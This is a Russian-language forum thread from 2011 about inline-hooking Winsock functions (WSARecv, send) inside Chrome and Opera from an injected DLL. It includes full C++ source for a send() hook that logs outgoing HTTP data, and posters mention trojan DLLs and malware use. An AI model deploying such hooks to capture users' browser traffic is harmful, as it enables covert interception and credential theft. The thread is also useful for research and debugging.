долбаный сплайс

Тема в разделе "WASM.BEGINNERS", создана пользователем nMaxwell, 26 ноя 2011.

  1. nMaxwell

    nMaxwell New Member

    Публикаций:
    0
    без CreateFile сплайс работает нормально (вставлял Beep), с CreateFile, SendMessage и т.п. браузеры падают:

    Код (Text):
    1. function HookRecv( s : TSocket; lpBuffers : LPWSABUF; dwBufferCount : DWORD; var lpNumberOfBytesRecvd : DWORD; var lpFlags : DWORD;  lpOverlapped : LPWSAOVERLAPPED; lpCompletionRoutine : LPWSAOVERLAPPED_COMPLETION_ROUTINE ): Integer; stdcall;
    2. var RetCode : Integer;
    3.      saddr   : TSockAddrIn;
    4.      slen    : Integer;
    5.      ip, port:Cardinal;
    6.      WSA_LastError:Cardinal;
    7.      h:THandle;
    8.      buf:array [1..10] of char;
    9.      written:Cardinal;
    10. begin
    11.  RetCode:=MainRecv( s,lpBuffers,dwBufferCount, lpNumberOfBytesRecvd, lpFlags, lpOverlapped , lpCompletionRoutine);
    12. // WSA_LastError:=WSAGetLastError;
    13.  
    14. asm
    15.   pushad
    16. //  pushf
    17. end;
    18.  
    19.   h:=CreateFileA('c:\asdasd.txt', GENERIC_WRITE, FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0);  // без этих 3 строк работает
    20.   WriteFile(h, buf, 2, written, nil);
    21.   Closehandle(h);    
    22.  
    23. asm
    24.   popad
    25. //  popf
    26. end;
    27.  
    28. Result:=RetCode;
    29. // WSAGetLastError(WSA_LastError);
    30. end;
    buf, конечно, заполняется. эти 3 строчки работают в пустой аппликации
    стэк, по идее, восстанавливается
     
  2. Apocalypse

    Apocalypse New Member

    Публикаций:
    0
    Фаил 'c:\asdasd.txt' то ранее был создан? А то - OPEN_EXISTING

    Регистры в принципе не нужно сохранять/восстанавливать, компилятор должен сам оптимизировать.
     
  3. Magnum

    Magnum New Member

    Публикаций:
    0
    Неа. Если б файл не был создан, вернулась бы ошибка FILE_NOT_FOUND и INVALID_HANDLE_VALUE
    Дальше просто не отработали б последующие 2 функции. Но креша не было б.

    Скорее всего с глобальными что-то не так.
    Например указатель на строку глобальную строку (с именем файла) в коде невалидный.
    Либо дельту не посчитал, либо еще что-то.
    Что говорит отладчик?
    Конкретно на какой функции падает?
     
  4. nMaxwell

    nMaxwell New Member

    Публикаций:
    0
    падает на CreateFile, вне dll код работает нормально
     
  5. nMaxwell

    nMaxwell New Member

    Публикаций:
    0
    использую любую WinApi и получаю либо крэш, либо "Ошибка 324 (net::ERR_EMPTY_RESPONSE): Сервер разорвал соединение, не отправив данные."
    следовательно портится возвращаемое значение либо стек, но как и почему
     
  6. AndjellaArtavazdovna

    AndjellaArtavazdovna New Member

    Публикаций:
    0
    nMaxwell
    Вообще все зависит от способа передачи управления при сплайсинге фунок. Если вы передаете управление из перехватываемой
    функи при помощи jmpов ,может возникать следующая проблема. Если функа перехватчик формирует стек-фрейм ,а вызывается при помощи jmpов,это приводит к дестабилизации стека и фолтам на возврате из основной. Не знаю как на дельфях,на сишке
    эта проблема решается объявлением функи-перехватчика как _naked-ф-и.
     
  7. AndjellaArtavazdovna

    AndjellaArtavazdovna New Member

    Публикаций:
    0
    Значит скорее всего то что я написал.
    Кстати,по поводу патчей неплохо в "The rootkit arsenal" написано.
    Magnum
    А какую вы видите связь между сплайсингом при помощи троянской длли и дельта-смещением?
     
  8. nMaxwell

    nMaxwell New Member

    Публикаций:
    0
    проблема происходит именно при сплайсе recv (WSARecv), т.к. хук CreateProcessInternalW прекрасно отработал
    проблемы многопоточности быть не может, т.к. затирамые байты я самостоятельно воспроизвожу и ничего не восстанавливаю при вызове оригинальной функции
     
  9. AndjellaArtavazdovna

    AndjellaArtavazdovna New Member

    Публикаций:
    0
    Ну что тут сказать... Если так ,то искать фолт под отладчиком. Я просто когда сам кодил такие вещи,часто сталкивался
    с проблемами со стек-фреймами и нарушениями конвенций вызовов (__cdecl вместо __stdcall) ,это второй вариант.
    Просто симптомы ,описанные вами сильно напоминают,то что я видел в своей поделке. Это довольно часто возникающие проблемы.
    Если описанный вами случай специфичен для recv, тогда только отладчик.
     
  10. nMaxwell

    nMaxwell New Member

    Публикаций:
    0
    бред... написал программу-заглушку, вызывающую WSARecv и выводящую все параметры.
    затем сделал перехват, изменил все параметры, и оказалось, что все правильно хучится.
    следовательно вопрос: что не нравится хрому и опере?

    отлаживать в хроме несколько проблематично, точнее я не знаю чем это сделать максимально удобно (пытался в оле)
     
  11. AndjellaArtavazdovna

    AndjellaArtavazdovna New Member

    Публикаций:
    0
    следовательно вопрос: что может не нравиться вашему аверскому ПО? :)))
    Вчера хучил send в хроме патчем на возврате - никаких проблем.
     
  12. nMaxwell

    nMaxwell New Member

    Публикаций:
    0
    AndjellaArtavazdovna
    не пользуюсь ав и фв
     
  13. AndjellaArtavazdovna

    AndjellaArtavazdovna New Member

    Публикаций:
    0
    А Shell extension? Всякие Яндекс-бары и прочее говно не стоит? Имхо где-то перехват ,на каком-то уровне. Возможно какие-то функи,
    специфичные для протокола. Хотя Http-функи вроде только IE юзает. Лучший способ - отладчик. Вроде в браузерах код хороший -
    дизасм легко разобрать.
     
  14. nMaxwell

    nMaxwell New Member

    Публикаций:
    0
    AndjellaArtavazdovna
    можно сорец? =)
    возможно реально проблема в сплайсе, проявляющаяся только в WinSock :O

    голый хром, голый опера
     
  15. AndjellaArtavazdovna

    AndjellaArtavazdovna New Member

    Публикаций:
    0
    Можно попробовать исполнить код в проекции ,но это возня с pebом и тогда лучше патчить проекцию,а не модуль.
     
  16. AndjellaArtavazdovna

    AndjellaArtavazdovna New Member

    Публикаций:
    0
    nMaxwell
    Есть сорец для перехвата send. Его?
     
  17. nMaxwell

    nMaxwell New Member

    Публикаций:
    0
    AndjellaArtavazdovna
    я на коне и, чувствую, скоро забью на сплайс и буду в таблице импорта хучить GetProcAddress =(

    added:
    да
     
  18. AndjellaArtavazdovna

    AndjellaArtavazdovna New Member

    Публикаций:
    0
    Ну в общем вот:
    Код (Text):
    1. #pragma comment (lib,"ws2_32.lib")
    2. #define STRICT
    3. #define WIN32_LEAN_AND_MEAN
    4. #include <stdio.h>
    5. #include <windows.h>
    6. #include <winsock2.h>
    7.  
    8. char LogMessage[200];
    9. #include "Error_log.h"
    10. #include "HttpLog.h"
    11.  
    12. #define ARRAY_OF_PATCHES_SIZE 1
    13.  
    14. #pragma pack (push,1)
    15. typedef struct PrologData
    16. {
    17.     BYTE PushCode;
    18.     DWORD Address;
    19.     BYTE RetCode;
    20. }PROLOG_DATA,*PPROLOG_DATA;
    21. #pragma pack (pop)
    22.  
    23. typedef struct PatchData
    24. {
    25.     PROLOG_DATA OrigCode;
    26.     PROLOG_DATA PachCode;
    27.     DWORD Address;
    28.     DWORD NewAddress;
    29. }PATCH_DATA,*PPATCH_DATA;
    30.  
    31. #define SEND_PTR (int (__stdcall*) (SOCKET,const char*,int,int))
    32.  
    33. PATCH_DATA Patches[ARRAY_OF_PATCHES_SIZE];
    34.  
    35.  
    36. int _stdcall send_wraper(SOCKET socket,
    37.                 const char* buffer,
    38.                 int lenght,
    39.                 int flags)
    40. {
    41.     wsprintfA(LogMessage,"%s started!\r\n",__FUNCTION__);
    42.     WriteLogData(LogMessage);
    43.     HANDLE hProcess = GetCurrentProcess();
    44.     DWORD Cnt;
    45.     int Result;
    46.     if(!WriteProcessMemory(hProcess,
    47.                            reinterpret_cast <LPVOID> (Patches[0].Address),
    48.                            &Patches[0].OrigCode,
    49.                            sizeof(PROLOG_DATA),
    50.                            &Cnt)
    51.         || Cnt != sizeof(PROLOG_DATA))
    52.     {
    53.         //ERROR
    54.         wsprintfA(LogMessage,"WriteProcessMemory failed with error %d,%s\r\n",GetLastError(),__FUNCTION__);
    55.         WriteLogData(LogMessage);
    56.     }
    57.  
    58.     HttpWriteLogData(buffer,lenght);
    59.     Result = (SEND_PTR Patches[0].Address)(socket,buffer,lenght,flags);
    60.    
    61.     Cnt = 0;
    62.     if(!WriteProcessMemory(hProcess,
    63.                            reinterpret_cast <LPVOID> (Patches[0].Address),
    64.                            &Patches[0].PachCode,
    65.                            sizeof(PROLOG_DATA),
    66.                            &Cnt)
    67.         || Cnt != sizeof(PROLOG_DATA))
    68.     {
    69.        
    70.         wsprintfA(LogMessage,"WriteProcessMemory failed with error %d,%s\r\n",GetLastError(),__FUNCTION__);
    71.         WriteLogData(LogMessage);
    72.     }
    73.     wsprintfA(LogMessage,"%s exit!\r\n",__FUNCTION__);
    74.     WriteLogData(LogMessage);
    75.     return Result;
    76.  
    77. }
    78.  
    79. void PatchDataInitialize(PPATCH_DATA Array)
    80. {
    81.     wsprintfA(LogMessage,"%s started!\r\n",__FUNCTION__);
    82.     WriteLogData(LogMessage);    
    83.     //send hook:
    84.     Array[0].Address = reinterpret_cast <DWORD> (GetProcAddress(GetModuleHandle(L"ws2_32.dll"),
    85.                                                                 "send"));
    86.     if(!Array[0].Address)
    87.     {
    88.        
    89.         wsprintfA(LogMessage,"can not find send with error %d\r\n",GetLastError());
    90.         WriteLogData(LogMessage);
    91.     }
    92.     Array[0].NewAddress = reinterpret_cast <DWORD> (&send_wraper);
    93.     WriteLogData(__FUNCTION__ "success!\r\n");
    94.     //Other:
    95. }
    96.  
    97. void ProcessAllFunctions(PPATCH_DATA Array,BOOL Flag = TRUE)
    98. {
    99.     int i;
    100.     HANDLE hProcess = GetCurrentProcess();
    101.     SIZE_T Cnt;
    102.     WriteLogData(__FUNCTION__ "started\r\n");
    103.     for(i = 0;i <= ARRAY_OF_PATCHES_SIZE-1;i++)
    104.     {
    105.         if(Flag)
    106.         {
    107.             Array[i].PachCode.PushCode = 0x68;//push
    108.             Array[i].PachCode.Address = Array[i].NewAddress;
    109.             Array[i].PachCode.RetCode = 0xC3;
    110.  
    111.             if(!ReadProcessMemory(hProcess,
    112.                                   reinterpret_cast <LPCVOID> (Array[i].Address),
    113.                                   &Array[i].OrigCode,
    114.                                   sizeof(PROLOG_DATA),
    115.                                   &Cnt)
    116.                || Cnt != sizeof(PROLOG_DATA))
    117.             {
    118.                 //ERROR!
    119.                 wsprintfA(LogMessage,"ReadProcessMemory failed with error %d,%s\r\n",GetLastError(),__FUNCTION__);
    120.                 WriteLogData(LogMessage);
    121.             }
    122.  
    123.             if(!WriteProcessMemory(hProcess,
    124.                                    reinterpret_cast <LPVOID> (Array[i].Address),
    125.                                    &Array[i].PachCode,
    126.                                    sizeof(PROLOG_DATA),
    127.                                    &Cnt)
    128.                || Cnt != sizeof(PROLOG_DATA))
    129.             {
    130.                 wsprintfA(LogMessage,"WriteProcessMemory failed with error %d,%s\r\n",GetLastError(),__FUNCTION__);
    131.                 WriteLogData(LogMessage);
    132.                
    133.             }
    134.  
    135.         }
    136.         else
    137.         {
    138.             if(!WriteProcessMemory(hProcess,
    139.                                    reinterpret_cast <LPVOID> (Array[i].Address),
    140.                                    &Array[i].OrigCode,
    141.                                    sizeof(PROLOG_DATA),
    142.                                    &Cnt)
    143.                || Cnt != sizeof(PROLOG_DATA))
    144.             {
    145.                
    146.                 wsprintfA(LogMessage,"WriteProcessMemory failed with error %d,%s\r\n",GetLastError(),__FUNCTION__);
    147.                 WriteLogData(LogMessage);
    148.             }
    149.         }
    150.     }
    151.     WriteLogData(__FUNCTION__ "exit\r\n");
    152. }
    153.  
    154. BOOL APIENTRY DllMain(HINSTANCE hInst,
    155.                       DWORD Reason,
    156.                       LPVOID Reserved)
    157. {
    158.     switch(Reason)
    159.     {
    160.     case DLL_PROCESS_ATTACH:
    161.         if(LogInit() != NULL)
    162.         {
    163.             if(HttpLogInit() != NULL)
    164.             {
    165.                PatchDataInitialize(Patches);
    166.                ProcessAllFunctions(Patches,TRUE);
    167.             }
    168.         }
    169.         CloseHandle(LogFile);
    170.         break;
    171.     case DLL_PROCESS_DETACH:
    172.         break;//Unhook
    173.     case DLL_THREAD_ATTACH:
    174.         break;
    175.     case DLL_THREAD_DETACH:
    176.         break;
    177.     }
    178.     return TRUE;
    179. }
     
  19. nMaxwell

    nMaxwell New Member

    Публикаций:
    0
    AndjellaArtavazdovna
    спасибо, такой же сплайс у меня не работает.. видимо, есть другой коряво поставленный хук, из-за которого броузер падает.
    попробую на чистой хрюше
     
  20. AndjellaArtavazdovna

    AndjellaArtavazdovna New Member

    Публикаций:
    0
    nMaxwell
    Это очень плохой метод в отношении малвара. А для ресерча то,что нужно.